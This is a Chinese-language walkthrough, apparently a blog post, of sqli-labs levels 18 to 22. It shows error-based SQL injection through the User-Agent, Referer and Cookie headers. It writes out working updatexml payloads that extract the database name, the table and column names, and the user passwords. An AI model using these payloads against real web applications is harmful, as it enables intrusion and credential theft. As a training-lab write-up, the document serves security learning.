sqli-labs靶场18-22关(http头)

目录

less18(user-agent)

less19(referer)

less20(cookie)

less21(cookie)

less22(cookie)



less18(user-agent)

这里尝试了多次注入,均没有成功。

但是发现,输入正确的用户名和密码后,会返回user-agent:

User-Agent: a or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1=1------未成功注入

User-Agent: a**'or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1='**1------成功注入,判断为单引号闭合!

User-Agent: a' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1------爆数据库

这里最后不能用--+和#来截断后面的sql语句,因此使用'1'='1来闭合后面的单引号:

User-Agent: a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1------爆表

User-Agent: a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) and '1'='1------爆字段名

User-Agent:a' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1) and '1'='1------爆数据



less19(referer)

同样的,只是这里是返回的是referer字段,抓包修改referer字段:

Referer:a or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1=1------注入失败

Referer:a' or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1='1------判断为单引号闭合

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1------爆表

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) and '1'='1------爆字段名

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1) and '1'='1------爆数据



less20(cookie)

输入正确的用户名和密码后,会返回cookie内容:

抓包,在http history中,找到这个数据包,是GET型传参的数据包:

尝试对数据包中的cookie字段进行注入:

cookie:uname=admin'报错,admin'#不报错,判断为单引号闭合:

并且要么报错,要么显示cookie,那么就利用报错注入:

Cookie: uname=admin' and updatexml(1,concat(0x7e,(database()),0x7e),1)#------爆数据库:

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#爆表名

Cookie: uname=admin'

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)#------爆字段名

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)#------爆数据



less21(cookie)

和20关差不多,只是这里对cookie返回的内容进行了base64加密,并且是')闭合:

抓包,在history中,找到该页面:

只需要在20关的基础上,对传参的内容进行base64编码,就行了:

同样的方法,只是这关判断为')闭合,不在赘述。



less22(cookie)

和20、21两关一样的道理,只是这关是双引号闭合,同样的方法,不在赘述。



相关推荐
+VX:Fegn089512 分钟前
计算机毕业设计|基于springboot + vue建筑材料管理系统(源码+数据库+文档)
数据库·vue.js·spring boot·后端·课程设计
2301_8002561115 分钟前
B+树:数据库的基石 R树:空间数据的索引专家 四叉树:空间划分的网格大师
数据结构·数据库·b树·机器学习·postgresql·r-tree
大厂技术总监下海37 分钟前
用户行为分析怎么做?ClickHouse + 嵌套数据结构,轻松处理复杂事件
大数据·数据结构·数据库
alonewolf_991 小时前
深入理解MySQL事务与锁机制:从原理到实践
android·数据库·mysql
朝依飞1 小时前
fastapi+SQLModel + SQLAlchemy2.x+mysql
数据库·mysql·fastapi
3***g2051 小时前
redis连接服务
数据库·redis·bootstrap
m0_598177231 小时前
SQL 方法函数(1)
数据库
oMcLin1 小时前
如何在Oracle Linux 8.4上通过配置Oracle RAC集群,确保企业级数据库的高可用性与负载均衡?
linux·数据库·oracle
信创天地1 小时前
核心系统去 “O” 攻坚:信创数据库迁移的双轨运行与数据一致性保障方案
java·大数据·数据库·金融·架构·政务
胖咕噜的稞达鸭1 小时前
进程间的通信(1)(理解管道特性,匿名命名管道,进程池,systeam V共享内存是什么及优势)重点理解代码!
linux·运维·服务器·数据库